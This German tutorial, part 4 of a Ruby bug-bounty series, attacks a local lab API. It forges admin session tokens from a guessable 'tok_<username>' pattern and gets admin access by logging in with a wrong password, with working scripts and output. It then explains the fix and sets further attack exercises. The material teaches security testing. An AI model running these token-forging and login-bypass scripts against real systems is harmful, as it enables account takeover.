// Bug-Bounty-Automatisierung in Ruby · Teil 4
Authentifizierung brechen
Teil 3 missbrauchte, was ein Token durfte. Jetzt greifen wir das Token selbst an — und den Login, der es ausgibt. Wir fälschen eine Admin-Sitzung allein aus dem Benutzernamen, holen uns dann eine mit einem Müll-Passwort und lernen, wie ein echtes Token aussehen muss.
In Teil 3 hatten wir ein gültiges Token und missbrauchten, was es erreichen konnte. Dieser Teil ist grundlegender: Wir gehen die Authentifizierung an — den Nachweis, wer du bist — statt der Autorisierung. Wenn du eine gültige Sitzung für jemand anderen prägen kannst, ist jede nachgelagerte Autorisierungsprüfung hinfällig, weil der Server bereits glaubt, du seist diese Person.
Zwei Dinge machen das hier möglich, und beide sind echte Bug-Klassen, denen du
in freier Wildbahn begegnest. Beginne auth.rb mit dem üblichen
authentifizierten GET:
require 'net/http'
require 'json'
require 'uri'
require 'securerandom'
BASE = 'http://127.0.0.1:4567'
def get(path, token)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Get.new(uri)
req['Authorization'] = "Bearer #{token}"
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
Das Token ist ein Muster, kein Geheimnis
In Teil 1 loggten wir uns als alice ein und bekamen tok_alice. Schau dir
diesen String an. Es ist das Wort tok_, an den Benutzernamen geklebt — was
heißt, dass es überhaupt kein Geheimnis ist, sondern eine Vorlage, die du
ausfüllen kannst. Bau Tokens für Namen, als die wir uns nie eingeloggt haben,
und sieh, für wen der Server uns hält:
%w[alice bob admin].each do |name|
token = "tok_#{name}"
res = get('/api/me', token)
who = res.code.to_i == 200 ? JSON.parse(res.body)['role'] : 'rejected'
puts " #{token.ljust(12)} -> #{who}"
end
"tok_#{name}" baut jeden Versuch per Interpolation. Wir haben uns hier als
niemand authentifiziert — wir haben nur ein Token behauptet und /api/me
gebeten, es zu bestätigen:
$ ruby auth.rb
tok_alice -> user
tok_bob -> user
tok_admin -> admin
tok_admin funktioniert, und es ist eine Admin-Sitzung. Wir haben es aus drei
bekannten Buchstaben und einem geratenen Benutzernamen gefälscht. Ein
Sitzungs-Token hat genau eine Aufgabe — unerratbar zu sein — und dieses ist
ein Lückentext.
Der Login prüft das Passwort nicht
Es gibt ein zweites, unabhängiges Loch. Die Fälschung oben nahm an, wir hätten
ein Token gesehen und das Muster erkannt. Aber das brauchen wir gar nicht: Der
/login-Endpunkt gibt für jeden Namen ein Token aus und prüft nie das Passwort.
Schau:
def login(name, password)
res = Net::HTTP.post(URI("#{BASE}/login"),
{ 'name' => name, 'pass' => password }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
admin = login('admin', 'not-even-close')
role = JSON.parse(get('/api/me', admin).body)['role']
puts "[+] logged in as admin with a junk password -> #{admin} (#{role})"
$ ruby auth.rb
...
[+] logged in as admin with a junk password -> tok_admin (admin)
Wir sendeten not-even-close als Passwort, und der Server gab das Admin-Token
trotzdem aus. Jeder Bug für sich ist eine vollständige Kontoübernahme; zusammen
sind sie zwei verschiedene Vordertüren zur selben Admin-Sitzung.
Wie ein Token aussehen sollte
Die Behebung für beide lohnt sich zu sehen, denn sie ist das, was du im Bericht
empfehlen wirst. Ein echtes Token ist zufällig, nicht aus irgendetwas über
den Benutzer abgeleitet — sodass es nicht erraten oder nachgebaut werden kann.
Rubys securerandom erzeugt eines:
puts "a real token: #{SecureRandom.hex(32)}"
$ ruby auth.rb
...
a real token: 9f2c8a1e... (64 hex chars, 256 bits of entropy)
Das sind 256 Bit Zufall — kein Muster, kein Benutzername darin, in keiner menschlichen Zeitspanne brute-forcebar. Zwei Regeln folgen aus diesem Teil: prüfe das Passwort, bevor du irgendetwas ausgibst, und mach das Ausgegebene zufällig. Eine API, die eines von beidem auslässt, verschenkt Admin.
Erkenntnisse
- Vorhersagbare Tokens sind ein Auth-Bypass. Wenn ein Sitzungs-Token aus dem Benutzernamen (oder einem Zähler oder einem Zeitstempel) gebaut ist, kannst du eines für jedes Konto fälschen. Schau dir zuerst dein eigenes Token an — seine Struktur ist das Zeichen.
- Fehlende Passwortprüfung: ein
/login, das unabhängig vom Passwort ein Token zurückgibt, ist für sich schon eine Übernahme. Sende ein absichtlich falsches Passwort und sieh, ob du trotzdem reinkommst. "tok_#{name}"undSecureRandom.hex(n)sind zwei Enden des Spektrums: erratbares String-Bauen gegen echte Entropie.- Authentifizierung sitzt unter der Autorisierung. Brich sie, und jede Berechtigungsprüfung darüber ist Deko.
Übungen
- Du hast gesehen, dass
tok_adminfunktioniert. Bestätige, dass die ganze Plattform offenliegt: fälsche jedes Benutzer-Token und gib den Kontostand aus/api/meaus, ganz ohne Logins. - Ein etwas weniger offensichtliches Schema ist
Base64des Benutzernamens. Kodiereadminmitrequire 'base64'; Base64.strict_encode64('admin')und überlege, warum Kodieren nicht dasselbe ist wie Sichern. - Kombiniere das mit Teil 3: logge dich als
alicemit beliebigem Passwort ein und nutze dann die Admin-Stats-BFLA — wie viel der Plattform kannst du, ausgehend von einem einzigen geratenen Namen, anfassen?
Weiter — Teil 5: Wir hören auf, dem Server die erwarteten Eingaben zu geben. Wir fuzzen — werfen präparierte Felder und Werte auf Endpunkte — und bringen den Mass-Assignment-Bug des Labors dazu, uns reich zu machen.